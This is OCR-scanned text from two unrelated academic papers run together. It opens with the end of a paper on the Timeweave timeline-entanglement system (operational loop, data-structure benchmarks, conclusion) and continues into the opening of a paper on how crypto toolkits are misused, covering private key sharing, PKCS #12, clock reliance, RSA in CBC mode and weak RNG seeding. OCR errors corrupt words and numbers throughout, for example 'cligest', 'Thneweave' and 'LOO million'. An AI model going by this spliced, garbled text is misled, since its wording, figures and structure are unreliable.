The thread archive contains threads sent by re- 
mote peers and verified locally. Such threads are 
contained both in thread messages initiated re- 
motely and in entanglement receipts to outgoing 
threads. ‘The archived threads are ordered by the 
identity of the remote peer in the entanglement. op- 
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eration, and then by the foreign logical time as- 
sociated with the operation. The archive is im- 
plemented as an RBB-Tree and has a well-defined 
mechanism for calculating its one-way cligest. cle- 
scribed in Section 5.2. 

The receipt archive is a simple (not autheuti- 
cated) repository of thread storage receipts for all 
outgoing threads successfully acknowledged by re- 
mote pcers. 

The main operational loop of a ‘Timieweave ma- 
chine is as follows: 


1. Handle client requests and upcate system state 
cligest. f(S). 


2. Insert all valid, newly obtained timeline threads 
into thread archive £& and update thread 
archive digest g(£). 


3. Hash together the digests to produce systein 
digest. d = h( f(S)||g(£)). 


4, Append @ into the timeline skip list, resulting 
in anew timeline authenticator T, and sign tlie 
authenticator. 


5. Set the new timeline authenticator as the fresh- 
ness authenticator in the next snapshot of 
the thread archive and, potentially, of the 
application-specific system state. 


6. For all incoming timeline threads just archived, 
construct and return receipts to thread senders. 


—~I 


If it is time to send an outgoing timeline thread, 
sorid one to all peers, and store the receipts in 
the thread and receipt. archives. 


The Timeweave machine also allows clicnts to 
request local temporal mappings of remote logi- 
cal times and temporal precedences between local 
times. 


6 Evaluation 


Tn this section. we evaluate the performance char- 
acteristics of timeline entanglement. First, in Sec- 
tion 6.1, we present measurements from a Java im- 
plementation of the Timeweave infrastructure: au- 
thenticated append-only skip lists and RBB-Trees. 
Then, in Section 6.2, we explore the performance 
characteristics of Timeweave as a function of its 
basic Timeweave system paramcter, entanglement. 
load. 

In all measurements, we use a lightly loaded 
dual Pentium II] Xeon computer at 1 Giz. with 
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Figure 9: Skip list performance. (a) Append time vs. 
skip list size. Note that the y axis does not start. from 
0. “Global average” shows average performance over all 
operations; “last average” shows performance during the 
last one million operations for a given size. (b) Proof 
extraction time vs. proof distance. For cach distance, 
1.000 proofs from uniformly random starting clements 
are averaged. 


2 GBytes of main memory, running RedHat Linux 
7.2, with the stock 2.4.9-3lsmp kernel and Sun Mi- 
crosysterns’ JVM 1.3.02. The three cisks used in 
the experiments are model MAJ3364MP made by 
Fujitsu, which offer 10,000 RPMs and 5 ms average 
seck time. We use a clisk block size of 64 KBytes. 
Finally, for signing we use DSA with SHA-1, with a 
key size of 1024 bits. 

6.1 Data Structure Performance 

We measure the raw performance characteristics of 
our clisk-based authenticated data structures. Since 
Timeweave relies heavily on these two data struc- 
tures, unclerstanding their performance can help 
evaluate the performance limitations of Timeweave. 

Figure 9(a) shows the performance of skip list ap- 
pends, for skip list sizes ranging from one million to 
100 million elements, in increments of one rnillion el- 
ements. The figure graphs the time taken by a single 
append operation averaged over all operations for a 
given size, and averaged over the last. one million 
operations for a given size. As expected. the time 
taken by append operations grows logarithmically 
with the size of the skip list, although for practi- 
cal skip list sizes, the cost per append operation is 
virtually constant. 

We also measure the performance of skip list. proof 
extraction, in Figure 9(b). The figure graphs the 
time it takes to extract a precedence proof from a 
100-million element skip list for a given distance be- 
tween the end-points of the proof (the distance be- 
tween clements 7 auc j is 7 — 7 elements). We aver- 
age over 1,000 uniformly random proof extractions 
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Figure 10: RBB-Tree performance for different snap- 
shot. sizes. Curve labels indicate the number of keys per 
shapshot—from 100 keys to one million keys per snap- 
shot. (a) Insertion time vs. tree size. (b) Proof extrac- 
tion time The “knee” around 0.8 million 
elements is due to the overflow of the disk block cache. 


vs. tree size. 





Keys per suapshel IM 


| 100 | 1K | LOK | 100K 
Troe Size (GB) | 18 | 13] 7 | 2 [08 


Table 1: RBB-Tree size on disk as a function of the 


shapshot size used to build it. Sizes shown correspond 


to trees with three million keys. 


per distance. For small distances, different proofs 
fall within vastly cliffereut disk blocks, making proof 
extraction performance heavily I/O bound. — For 
larger distances approaching the entire skip list size, 
random proofs have many disk blocks in cornrnon, 
amortizing I/O overheads and lowering the average 
cost. 

We continue by evaluating the performance char- 
acteristics of RBB-Trees. Figure 10 contains two 
graphs, one showing how insertion time grows with 
tree size (Figure 10(a)) and another showing how 
proof extraction tine grows with tree size (Fig- 
ure 10(b)). 

Smaller snapshot sizes have two effects: more disk 
blocks for the same number of elements and more 
hashing. The number of disk blocks used is higher 
because some keys are replicated across more snap- 
shots; the amount of hashing is higher since every 
new copy of a key node must have a new hash la- 
bel calculated. The first. effect is evidenced in Ta- 
ble 1, which shows the disk size of a tlree-million- 
key RBB-Tree with varying snapshot sizes. The sec- 
ond effect. is evidenced in Figure 10(a), plotting in- 
sertion times for different snapshot. sizes. 

Proof extraction experiments consisted of 1,000 
random searches for every size increment. This op- 
eration, which consists of a tree traversal from the 
root of the tree to a leaf, is not affected by snapshot. 
size, but only by tree size (tree height, specifically). 
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Figure 11: Proof sizes (minimum, average, maximum) 
in skip lists ancl RBB-Trces. (a) Proof size vs. distance 
between the skip list proof end points. (b) Proof size vs. 
RBB-Tree size. 


Neither the traversed logical “shape”. of the tree, nor 
the clistribution of keys into disk blocks are depen- 
dent on how frequently a tree snapshot is archived. 

Finally, we graph proof sizes in skip lists (Fig 
ure 11(a)) and RBB-Trees (Figure 11(b)). Both 
graphs show proof sizes in KBytes, over 1,000 wni- 
form random trials in a skip list of LOO million cle- 
ments and an RBB-Tree of three million elements, 
respectively. The skip list curve starts out as a reg- 
ular square logarithmic curve, except for large dis- 
tances. close to the size of the entire list. We con- 
jecture that the reason for this exception is that for 
random trials of distances close to the entire list size, 
all randomly chosen proofs are worst-case proofs, 
including every link of every level between source 
and destination, although we must explore this ef- 
fect. further. The RBB-Tree graph shows a regular 
logarithmic curve. 


6.2 System Performance 


Although microbenchmarks can be helpful in un- 
derstanding how the basic blocks of Timeweave per- 
form, they cannot give a complete picture of how the 
system perforins in action. For example, very rarely 
does a Timeweave machine need to insert, thousaids 
of elements into a skip list back-to-back. As a re- 
sult, the disk block caching available to batched in- 
sertions is not available for skip list usage patterns 
exhibited by Timeweave. Similarly, most proof ex- 
tractions in timelines only span short distances; for 
one-second-long timeline time steps with one en- 
tanglement process per peer every LO minutes, a 
Timeweave machine barely needs to traverse a dis- 
tance of 10 x 60 = 600 elements to extract a prece- 
dence proof, unlike the random trials measured in 
Figure 9. 

Tn this section we measure two performance met- 
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rics of a Thneweave machine in action: mainte- 
nance tune and data transrnttted. ‘Timeweave main- 
tenance consists of the different computations and 
data manipulations performed to verify, archive and 
acknowledge timeline threads. ‘Transmitted data 
consist of new outgoing threads to the peers of 
the Timewcave machine and receipts for threads re- 
ceived from those peers. 

We measure the change of these two metrics as the 
load of a Timeweave inachine changes. The load of 
a Timewcave machine is roughly the number of in- 
coring threacls it: has to handle per time step. If we 
fix the duration of cach time step to one second, ancl 
the entanglement interval to 10 minutes (600 time 
steps). then a load of 5 means that the entanglement. 
service set. consists of 600 x5 = 3000 Timeweave ma- 
chines and, as a result, every Timeweave machine 
receives on average 5 threads per seconcl. 

Figure 12(a) shows the time it takes a single ma- 
chine to perform Timeweave maintainance per one- 
seconcl-long time step. The almost perfectly linear 
rate at which maintenance processing grows with 
the ratio of threads per time step indicates that 
all-to-all entanglement can scale to large entangled 
service sets only by limiting the entanglement. fre- 
quency. Iowever, for reasonably large service sets, 
up to 1000 Timeweave machines for 10-minute en- 
tanglement, maintenance costs range between 2 and 
8% of the processing resources of a PC-grade server. 

Figure 12(b) shows the amount of data sent. per 
time step from a single Timeweave machine.  Al- 
though the data rate itself is no cause for con- 
cern, the number of different destinations for secure 
transmissions could also limit. how all-to-all entan- 
glement scales. Again, for entangled service sects 
and cntanglement intervals that do not exceed two 
or three threads per time step, Timeweave mainte- 
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nance should not pose a problem to a low-encl server 
with reasonable connectivity. 


7 Conclusion 


In this work we seck to extend the traditional idea 
of time stamping into the concept of a secure time- 
line, a tamper-evident. historic record of the states 
througl: which a system passecl in its lifetime. Se- 
cure timelines make it possible to reason about the 
temporal ordering of system states in a provable 
manner. We then proceed to define tirneline entan- 
glement, a technique for creating undeniable tempo- 
ral orderings across nuitually clistrustful service do- 
inains. Finally, we design, describe the implementa- 
tion of, and evaluate Timeweave, a prototype imple- 
mentation of our timeline entanglement machinery, 
based on two novel authenticated data structures: 
append-only authenticated skip lists and disk-based. 
persistent: authenticated search trees. Our measure- 
ments indicate that sizes of several hundred service 
domains can be efficiently entangled at a frequency 
of once every ten minutes using Timeweave. 

Although our constructs preserve the correctness 
of temporal proofs, they are not complete, since 
some events in a dishonest service domain can be 
hidden from the timelines with which that domain 
entangles (Section 4.3). We plan to alleviate this 
shortcoming by employing a teclinique reminiscent 
of the signed-messages solution to the traditional 
Byzantine Generals problem [15]. Every time ser- 
vice A sends a thread to peer B, it also piggybacks 
all the signed threads of other services it has re- 
ceived and archived since the last: time it sent a 
thread to B. In such a manner, a service will be able 
to verify that all members of the entangled service 
set have received the same, unique timeline authen- 
ticator from every other service that it has received 
and archived, verifying global historic integrity. 

We also hope to migrate away from the all- 
to-all entanglement model, by employing recently- 
developed, highly scalable overlay architectures 
such as CAN [22] and Chord [24]. In this way, a 
service only entangles its timeline with its imme- 
diate neighbors. Temporal proofs involving non- 
neighboring service domains use transitive tempo- 
ral mapping, over the routing path in the overlay, 
perhaps choosing the route of least. temporal loss. 

Finally, we are working on a large scale dis- 
tributed historic file system that enables the auto- 
matic maintenance of temporal orderings among file 
system operations across the entire system. 
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Abstract 


Although the basic building blocks for working with 
strong encryption have become fairly widespread in the 
last few years, experience has shown that implementers 
frequently misuse them in a manner which voids their 
security properties. At least some of the blame lies 
with the tools themselves, which often make it 
unnecessarily easy to get things wrong. Just as no 
chainsaw manufacturer would think of producing a 
model without a finger-guard and cutoff mechanism, so 
security sofiware designers need to consider safety 
features which will keep users from injuring themselves 
or others. This paper examines some of the more 
common problem areas which exist in crypto security 
software, and provides a series of design guidelines 
which can help minimise damage due to (mis-)use by 
inexperienced users. These issues are taken from 
extensive real-world experience with users of security 
software, and represent areas which frequently cause 
problems when the software is employed in practice. 


1. Introduction 


In the last five years or so the basic tools for strong 
encryption have become fairly widespread, gradually 
displacing the snake oil products which they had shared 
the environment with until then. As a result, it’s now 
fairly easy to obtatn software which contains well- 
established, strong algorithms such as triple DES and 
RSA instead of pseudo one-time-pads. Unfortunately, 
this hasn't solved the snake oil problem, but has merely 
relocated it elsewhere. 


The determined programmer can produce 
snake oil using any crypto tools. 


What makes the new generation of dubious crypto 
products more problematic than their predecessors is 
that the obvious danger signs which allowed bad crypto 
to be quickly weeded out are no longer present. A 
proprietary, patent-pending, military-strength, million- 
bit-key, one-time pad built from encrypted prime cycle 
wheels is a sure warning sign to stay well clear, but a 
file encryptor which uses Blowfish with a 128-bit key 
seems perfectly safe until further analysis reveals that 
the key ts obtained from an MDS hash of <in uppercase- 
only 8-character ASCII password. This type of second- 
generation snake oil crypto, which looks like the real 
thing but isn’t, could be referred to as naugahyde 


crypto, with an appropriately similar type of 
relationship to the real thing. 


Most crypto software is written with the assumption 
that the user knows what they’re doing, and will choose 
the most appropriate algorithm and mode of opcration, 
carefully manage key generation and sccure key 
storage, employ the crypto in a suitably safe manner, 
and do a great many other things which require fairly 
detailed crypto knowledge. However, since most 
implementers are everyday programmers whose 
motivation for working with crypto ts defined by “the 
boss said do !t”, the inevitable result is the creation of 
products with genuine naugahyde crypto. Sometimes 
this ts discovered (for example when encryption keys 
are generated {rom the process ID and time, or when 
the RC4 keystream is re-used multiple times so the 
plaintext can be recovered with a simple XOR), but 
more frequently it isn’t, so that products providing only 
illusory security may be deployed and used for years 
without anyone being any the wiser. 


This paper looks at some of the ways in which crypto 
sottware devclopers and providers can work to avoid 
creating and deploytng software which can be used to 
create naugahyde crypto. Much of the experience 
presented here comes from developing and supporting 
the open-source cryptlib toolkit [1][2], which has 
provided the author with a wealth of information on the 
ways in which crypto software is typically misused, and 
the principal areas in which users experience problems. 
Additional feedback was provided from users and 
developers involved with other open-source crypto 
efforts. 


All of the events reported here are from real 
experiences with users, although the details have been 
obscured and anonymised, particularly where the users 
in question have more lawyers than the author’s 
University has staff. In addition a few of the more 
Interesting stories were excluded, but are referred to 
indirectly in the text (although no-one would have been 
able to identify the organisations involved, it was felt 
that having the event officially documented rather than 
existing only in the memory of a few tmplementers was 
too much of a legal liability). Although there are less 
references to sources than the author usually includes in 
his work, the reader should rest assured that all of fhe 
events mentioned here are real, and it’s almost certain 
that they have either used, or been a part of the use of, 
One or more of the products which are not quite referred 
to. 
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2. Existing Work 


There exists very little published research on the topic 
of proactively ensuring that crypto is used in a secure 
manner, aS opposed to patching programs up after a 
problem is found. Most authors are content to present 
the algorithms and mechanisms and leave the rest to the 
implementer. An earlier work on why cryptosystems 
fail concentrated mostly on banking security [3][4], but 
did make the prophetic prediction that as implementers 
working with crypto products “lack skills at security 
integration and management, they will go on to build 
systems with holes”. 


Another paper examined user interface problems in 
encryption software [5], an area which badly needs 
further work by HCI researchers. Finally, the author of 
a widely-used book on crypto went on to write a 
followup work designed to address the problem that 
“the world was full of bad security systems designed by 
people who read [his first book]” [6]. Like the author 
of this paper, he found that “the weak points had 
nothing to do with mathematics [...] Beautiful pieces of 
mathematics were made irrelevant through bad 
programming”. The followup work examines security 
in a very general-purpose manner as a process rather 
than a product, while this paper limits itself to trying to 
address the most commonly-made errors which occur 
when non-cryptographers (mis-)apply crypto. 


In addition to these works there exist a number of 
general-purpose references covering security issues 
which can occur during application design and 
implementation [7][8][9]. These are targeted at 
application developers and are intended to cover (and 
hopefully eliminate) common application security 
problems such as buffer overflows, race conditions, 
elevation of privileges, access control issues, and so on. 
This work in contrast looks specifically at problems 
which occur when end users (mis-)use security 
software, and suggests design guidelines which can 
help combat such misuse. 


3. Crypto Software Problems and Solutions 


There are many ways in which crypto and security 
software can be misused. The main body of this paper 
covers some of the more common problem areas, 
providing examples of misuse and suggesting (if 
possible) solutions which may be adopted by 
developers of the security software to help minimise the 
potential for problems. While there is no universal fix 
for all problems (and indeed some of them have a social 
or economic basis which can’t be easily solved through 
the application of technology), it is hoped that the 
guidelines presented here will both alert developers to 
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the existence of certain problem areas and provide some 
assistance in combating them. 


3.1 Private Keys Aren’t 


One of the principal design features of cryptlib is that it 
never exposes private keys to outside access. The 
single most frequently-asked cryptlib question Is 
therefore “How do | export private keys in plaintext 
form?”. The reasons given for this are many and 
varied, and range from the logical (“I want to generate a 
test key for use with XYZ”) to the dubious (“We want 
to share the same private key across all of our servers”) 
through to the bizarre (“1 don’t know, I[ just want to do 
it’). 

In some cases the need to spread private keys around Is 
motivated by financial concerns. If a company has 
spent $495 on a Verisign certificate which was 
downloaded to a Windows machine then they won’t 
spend that much again for exactly the same thing in a 
different format. As a result, the private key is exported 
from the Windows key store (from which any Windows 
application can utilise it) into Netscape. And OpenSSL. 
And BSAFE. And cryptlib (although cryptlib 
deliberately makes it rather difficult to poke keys of 
unknown provenance into it). Eventually, every 
encryption-enabled application on the system has a 
copy of the key, and for good measure it may be spread 
across a number of systems for use by different 
developers or sysadmins. Saving CA fees by re-using a 
single private key for everything seems to be very 
popular, particularly among Windows users. 


The amount of sharing of private keys across 
applications and machines is truly frightening. Mostly 
this appears to occur because users don’t understand the 
value of the private key data, treating it as just another 
piece of information which can be copied across to 
wherever it’s convenient. For example a few years ago 
a company had developed a PGP-based encrypted file 
transfer system for a large customer. The system used a 
2048-bit private key which was stored on disk tn 
plaintext form, since the software was run as a batch 
process and couldn’t halt waiting for a password to be 
entered. One day the customer called to say that they’d 
lost the private key fle, and could the company’s 
programmers please reconstruct it for them. This 
caused some consternation at the company, until one of 
the developers pointed out that there were copies of the 
private key stored on a file server along with the source 
code, and in other locations with the application 
binaries. Further investigation revealed that the 
developers had also copied it to their own machines 
during the development process for testing purposes. 
Some of these machines had later been passed on to 
new employees, with their original contents intact. The 
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file server on which the development work was stored 
had had its hard drives upgraded some time earlier, and 
the old drives (with the key on them) had been put ona 
nearby shelf in case they were needed later. The server 
was backed up regularly, with three staff members 
taking it in turns to take the day’s tapes home with them 
for off-site storage (the standard practice was to drop 
them in the back seat of the car until they were re-used 
later on). In short, the only way to securely delete the 
encryption key being used to protect large amounts of 
long-term sensitive data would have been to carpet- 
bomb the city, and even then it’s not certain that copies 
wouldn’t have survived somewhere. While this 
represents a marvellous backup strategy, it’s probably 
not what’s required for protecting private keys. 


If your product allows the export of 
private keys in plaintext form or some 
other widely-readable format, you should 
assume that your keys will end up in every 
other application on the system, and 
occasionally spread across other systems 
as well. 


At least some of the problem arises from the fact the 
much current software makes it unnecessarily easy to 
move private keys around (see also section 3.2 for a 
variation of this problem). For example CAs frequently 
use PKCS #12 files to send a “certificate” to a new user 
because it makes things simpler than going through the 
multi-stage process in which the browser generates the 
private key itself. These files are invariably sent tn 
plain text email, often with the password included. 
Alternatively, when the password ts sent by out-of-band 
means, the PKCS #12 decryption key is generated 
directly from a hash of the uppercase-only ASCII 
password, despite warnings about the insecurity of this 
approach being well publicised several years ago [19]. 
Once such file, provided as a sample to the author, 
would have authorised access to third-party financial 
records tn a European country. This method of key 
handling was standard practice for the CA involved. 


Another CA took this process a step further when they 
attempted to solve the problem of not having their root 
certificate trusted by various browsers and mail 
programs by distributing a PKCS #12 file containing 
the CA root key and certificate to all relying parties. 
The thinking was that once the CA’s private key was 
installed on their system, the user’s PKI software would 
regard the corresponding certificate as being trusted (it 
still didn’t quite fix the problem, but it was a start). 
This “solution” 1s in fact so common that the OpenSSL 
FAQ contains an entry specifically warning against it 
[55]. Incredibly, despite the strong warning in the FAQ 
that “this command will give away your CA’s private 


key and reduces its security to zero”, security books 
have appeared which give clear, step-by-step 
instructions on how to distribute the CA’s private key 
“to all your user’s web browsers” [10]. 


Making it more difficult to do this sort of thing might 
help alleviate some of the problems. Certainly in the 
case of cryptlib when users are informed that what 
they’re asking for tsn’t possible, they find a means of 
working within those constraints (or maybe they quietly 
switch to CryptoAPI, which allows private keys to be 
sprayed around freely). However the real problem ts a 
social and financial one, and ts examined in more detail 
in section 3.2. 


3.2 Everything is a Certificate 


In 1996 Microsoft introduced a new storage format for 
private keys and certificates to replace the collection of 
ad hoc (and insecure) formats which had been in use 
before then [I1][12]. Initially called PFX (Personal 
Information Exchange) [13][14][15][16], tt was later re- 
released in a cleaned-up form as PKCS #12 [17]. One 
of the main motivations for its introduction was for use 
in Internet ktosks in which users carried their personal 
data around on a floppy disk for use wherever they 
needed it. In practice this would have been a bad idea 
since Internet Explorer retains copies of the key data so 
that the next user who came along could obtain the 
previous user’s keys by exporting them back onto a 
floppy. Internet kiosks never eventuated, but the PKCS 
#12 format has remained with us. 


Since PKCS #12 stores both keys and certificates, and 
(at least under Windows) the resulting files behave 
exactly like certificates, many users are unable to 
distinguish certificates from PKCS #12 objects. In the 
same way that “I’m sending you a document” typically 
heralds the arrival of a Microsoft Word file, so “I’m 
sending you a my certificate” ts frequently 
accompanied by a PKCS #12 file. This problem isn’t 
helped by the fact that the Windows “Certificate Export 
Wizard” actually creates PKCS #12 files as output, 
defaulting to exporting the private key alongside the 
certificate. The situation is further confused by some of 
the accompanying documentation, which refers to the 
PKCS #12 data as a “digital 1D” (rather than 
“certificate” or “private key”), with the implication that 
it’s just a certificate which happens to require a 
password when exported. The practice of mixing public 
and private keys in this manner, and referring to the 
process of and making the behaviour of the result 
identical to the behaviour of a plain certificate, are akin 
to pouring weedkiller into a fruit jutce bottle and 
storing it on an easily accessible shelf in the kitchen 
cupboard. 


SS a 
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The author, being a known open-source crypto 
developer, is occasionally asked for help with 
ceitificate-management code, and has over the years 
accumulated a small collection of users’ private keys 
and certificates, ranging from disposable email 
certificates through to relatively expensive higher- 
assurance certificates (the users were notified and the 
keys deleted where requested). The current record for a 
key obtained in this manner (reported by another open- 
source crypto developer in a similar situation) is the key 
for a Verisign Class 3 code-signing certificate, the 
highest-level certificate provided by Verisign which 
requires notarisation, background investigations, and 
fairly extensive background checking [18]. 


Once the PKCS #12 file is obtained, the contents can 
generally be recovered, either by recovering the 
password [19][20][21] or by taking advantage of the 
fact that the Certificate Export Wizard will export keys 
without any password if the user just keeps clicking 
‘Next’ in standard Wizard fashion (they are in fact 
encrypted with a password consisting of two null 
characters, a Microsoft implementation bug which was 
reverse-engineered back into PKCS #1 2). 


In contrast, PGP has no such problems. PGP physically 
separates the public and private portion of the key into 
two files, and makes it quite clear that the private-key 
file should never be distributed to anyone: “keep your 
secret key file to yourself [...] Never give your secret 
key to anyone else [...] Always keep physical contro! of 
your secret key, and don’t risk exposing it by storing it 
On a remote timesharing computer. Keep it on your 
own personal computer” [22]. When distributing keys 
to other users, PGP only extracts the public 
components, even if the user explicitly forces PGP to 
read from the private key file (the default 1s to use the 
public key file). Even !f the user never bothers to read 
the documentation which warns about private key 
security, PGP’s safe-by-default key handling ensures 
that they can’t accidentally compromise the key. 


Make very clear to users the difference 
between public and private keys, either in 
the documentation/user interface or, 
better, by physically separating the two. 


The single biggest reason for the re-use of a single key 
wherever possible is, as already mentioned in section 
3.1, the cost of the associated certificate. A secondary 
reason is the complexity involved in obtaining the 
certificate, even if it 1s otherwise free. Examples of the 
latter include no-assurance email certificates, 
sometimes known as “clown-suit certificates” because 
of the level of identity assurance they provide [23]. 
Generating a new key rather than re-using the current 
One is therefore expensive enough and cumbersome 
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enough that users are given the incentive to put up with 
considerable inconvenience in order to re-use private 
keys. Users have even tried to construct ways of 
sharing smart cards across multiple machines in order 
to solve the annoying problem that they can’t export the 
private key from the card. Another approach, which 
only works with some cards, is to generate the key 
externally and load it onto the card, leaving a copy of 
the original in software to be used from various 
applications and/or machines (the fact that people were 
doing this was discovered because some cards or card 
drivers handle external key loads tn a peculiar manner, 
leading to requests for help from users). 


PGP on the other hand, with its easily-generated, self- 
signed keys and certificates, suffers from no such 
problem, and real-world experience indicates that users 
are quite happy to switch to new keys and discard their 
old ones whenever they feel the need. 


In order to solve this problem, it 1s necessary to remove 
the strong incentive provided by current X.509-style 
certificate management to re-use private keys. One 
solution to this problem would be for users to be issued 
key-signing certificates which they could use to create 
their own certificates when and as needed. This 
represents a somewhat awkward workaround for the 
fact that X.509 doesn’t allow multiple signatures 
binding an indentity to a certificate, so that it’s not 
possible to generate a self-signed certificate which is 
then endorsed through further, external signatures. In 
any case since this solution would deprive CAs of 
revenue, it’s unlikely to ever be implemented. As a 
result, even if private key sharing is made as difficult as 
possible, sufficiently motivated users will still find 
ways to spread them around. It is, unfortunately, very 
difficult to fix social/economic issues using technology. 


3.3 Making Key Management Easy 


One popular solution for key management, which has 
been around since the technology was still referred to as 
dinosaur oil, is the use of fixed, shared keys. Despite 
the availability of public-key encryption technology, 
the use of this type of key management ts still popular, 
particularly in sectors such as banking which have a 
great deal of experience in working with confidential 
information. Portions of the process have now been 
overtaken by technology, with the fax machine 
replacing trusted couriers for key exchange. 


Another solution which is popular in EDI applications 
is to transmit the key in another message segment in the 
transaction. [If XML is being used, the encryption key 
is placed in a field carefully tagged as <password> or 
<key>. Yet another solution, popularised in WEP, 1s to 
use a single fixed key throughout an organisation [24]. 
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Even when public-key encryption ts being used, users 
often design their own key-management schemes to go 
with it. One (geographically distributed) organisation 
solved the key management problem by using the same 
private key on all of their systems. This allowed them 
to deploy public-key encryption throughout the 
organisation while at the same time eliminating any key 
management problems, since it was no longer necessary 
to track a confusing collection of individual keys. 


Straight Diffie-Hellman requires no key 
management. This is always better than 
other no-key-management alternatives 
which users will create. 


Obviously this method of (non-)key management 1s still 
vulnerable to a man-in-the-middle (MITM) attack, 
however this requires an active attack at the time the 
connection is established. This type of attack is 
considerably more difficult than a passive attack 
performed an arbitrary amount of time later, as is 
possible with unprotected, widely-known, or poorly- 
chosen shared keys, or, worse yet, no protection at all 
because a general solution to the problem isn’t available 
[25]. In situations like this the engineering approach 
(within 10% of the target with reasonable effort) is 
often better than the mathematician’s approach (100% 
accuracy with unreasonable effort, so that in practice 
nothing gets done). 


3.4 What Time is it Anyway? 


Many security protocols, and in particular almost all 
PKI protocols which deal with validity intervals and 
time periods, assume they’re operating in the presence 
of precisely-synchronised clocks on all systems. The 
fact that this frequently isn’t the case was recognised a 
decade ago both by security researchers (mostly as a 
result of Kerberos V4’s use of timestamps) [26][27][28] 
and by implementers of post-Kerberos V4 protocols 
such as IBM’s KryptoKnight, which replaced the time- 
stamps with nonces [29][30](31](32], Bell-Atlantic’s 
Yaksha [33](34], and to some extent Kerberos V5, 
which allows for (but doesn’t require) nonces [35]. 
More recently, one of the few published papers on PK1 
implementation experience pointed out the problems 
inherent in using timestamps for synchronisation in the 
CMP PKI protocol [36]. 


The author has seen Windows machines whose time 
was out by tens of minutes (incorrect settings or general 
clock drift), one or more hours (incorrect settings or 
incorrect time zone/daylight savings time adjustment), 
One or more days (incorrect settings or incorrect time 
zone, for example a machine in New Zealand set to 
GMT), and various larger units (weeks or months). In 
the most extreme case the time was out by several 


decades but wasn’t noticed by the user until cryptlib 
complained about a time problem while processing 
certificates with a known validity period. In addition to 
the basic incorrect time problems, combinations such as 
an offset of one day + one hour + 15 minutes have been 
spotted. 


In addition to problems due to incorrect settings, there 
are also potential implementation problems. One PKI 
pilot ran into difficulties because of differences in the 
calculation of offsets from GMT in different software 
packages [37]. Time zone issues are extremely 
problematic because some operating systems handle 
them in a haphazard manner or can be trivially mis- 
configured to get the offset wrong. Even when 
everything is set up correctly it can prove almost 
impossible to determine the time offset from a program 
in one time zone with daylight savings time adjustment 
and a second program in a different time zone without 
daylight savings time adjustment. 


A further problem with a reliance on timestamps is the 
fact that it extends the security baseline to something 
which is not normally regarded as being security- 
relevant, and which therefore won’t be handled as 
carefully as obviously-security-related items such as 
passwords and crypto tokens. To complicate things 
further, times are often deliberately set incorrectly to 
allow expired certificates to continue to be used without 
paying for a new one, a trick which shareware authors 
countered many years ago to prevent users from 
running trial versions of software indefinitely. For 
example Netscape’s code signing software will blindly 
trust the date incorporated into a JAR file by the signer, 
allowing expired certificates to be rejuvenated by 
backdating the signature generation time. It would also 
be possible to resuscitate a revoked certificate using this 
trick, except that the software doesn’t perform 
revocation checking so it’s possible to use it anyway. 


Don’t incorporate the system clock (or the 
other parties’ system clocks) in your 
security baseline. If you need synchro- 
nisation, uSe NONCES. 


If some sort of timeliness guarantees are required, this 
can still be achieved even in the presence of completely 
desynchronised clocks by using the clock as a means of 
measuring the passage of time rather than as an 
absolute indicator of time. For example a server can 
indicate to a client that the next update will take place 
15 minutes after the current request was received, a 
quantity which can be measured accurately by both 
sides even if one side thinks it’s currently September 
1986. To perform this operation, the client would 
submit a request with a nonce, and the server would 
respond with a (signed or otherwise integrity-protected) 
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reply containing a relative time to the next update. If 
the client doesn’t receive the response within a given 
time, or the response doesn’t contain the nonce they 
sent, then there’s something suspicious going on. If 
everything is OK, they know the exact time (relative to 
their local clock) of the next update, or expiry, or 
revalidation. Although this measure is simple and 
obvious, the number of security standards which define 
mechanisms which assume the existence of perfectly 
synchronised clocks for all parties 1s somewhat 
worrying. 


In the presence of arbitrary end user 
systems, relative time measures work. 
Absolute time measures don’t. 


For non-interactive protocols which can’t use nonces 
the solution becomes slightly more complex, but can 
generally be implemented using techniques such as a 
one-off online query, or time-stamping [38]. 


3.5 RSA in CBC Mode 


When the RSA algorithm ts used for encryption, the 
Operation 1s usually presented as “encrypting with 
RSA”. The obvious consequence of this 1s that people 
try to perform bulk data encryption using pure RSA 
rather than using it purely as a key exchange 
mechanism for a fast symmetric cipher. In most cases 
this misunderstanding is quickly cleared up because the 
crypto toolkit AP] makes it obvious that RSA can’t be 
used that way, however the JCE API, which attempts to 
provide a highly orthogonal interface to all ciphers even 
if the resulting operations don’t make much sense, 
allows for bizarre combinations such as RSA in CBC 
mode with PKCS #5 padding alongside the more 
sensible DES alternative with the same mode and 
padding (CBC and PKCS #5 are mechanisms designed 
for use with block ciphers, not public-key algorithms). 
As a result, when a programmer is asked to implement 
RSA encryption of data, they implement the operation 
exactly as the API allows tt. One of the most 
frequently-asked questions for one open-source Java 
crypto toolkit covers assorted variations on the use of 
bulk data encryption with RSA, usually relating to 
which (block cipher) padding or chaining mode to use, 
but eventually gravitating towards “Why is 1t so slow?” 
once the code nears completion and testing commences. 


This can lead to a variety of interesting debates. 
Typically a customer asks for “RSA encryption of 
data”, and the implementers deliver exactly that. The 
customer claims that no-one with an ounce of crypto 
knowledge’ would ever perform bulk data encryption 


' Equivalent to 31 grams of crypto knowledge, being 
worth its weight in gold. 
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with RSA and the implementers should have known 
better, and the implementers claim that they’re 
delivering exactly what the customer asked for. 
Eventually the customer threatens to withhold payment 
until the code is fixed, and the implementers sneak the 
changes in under “Misc.Exp.” at five times the original 
price. 


Don’t include insecure or illogical 
security mechanisms in your crypto tools. 


3.6 Left as an Exercise for the User 


Crypto toolkits sometimes leave problems which the 
toolkit developers couldn’t solve themselves as an 
exercise for the user. For example the gathering of 
entropy data for key generation is often expected to be 
performed by user-supplied code outside the toolkit. 
Experience with users has shown that they will 
typically go to any lengths to avoid having to provide 
useful entropy to a random number generator which 
relies on this type of user seeding. The first widely- 
known case where this occurred was with the Netscape 
generator, whose functioning with inadequate input 
required the disabling of safety checks which were 
designed to prevent this problem from occurring [39]. 
A more recent example of this phenomenon was 
provided by an update to the SSLeay/OpenSSL 
generator, which in version 0.9.5 had a simple check 
added to the code to test whether any entropy had been 
added to the generator (earlier versions would run the 
pseudo-random number generator (PRNG) with little or 
no real entropy). This change lead to a flood of error 
reports to OpenSSL developers, as well as helpful 
suggestions on how to solve the problem, including 
seeding the generator with a constant text string 
(40][41][42], seeding it with DSA _ public key 
components (whose components look random enough 
to fool entropy checks) before using tt to generate the 
corresponding private key [43], seeding it with 
consecutive output byes from rand () [44], using the 
executable image [45], using /etc/passwd [46], using 
/var/log/syslog [47], using a hash of the files in the 
current directory [48], creating a dummy random data 
file and using it to fool the generator [49], downgrading 
to an older version such as 0.9.4 which doesn’t check 
for correct seeding [50], using the output of the 
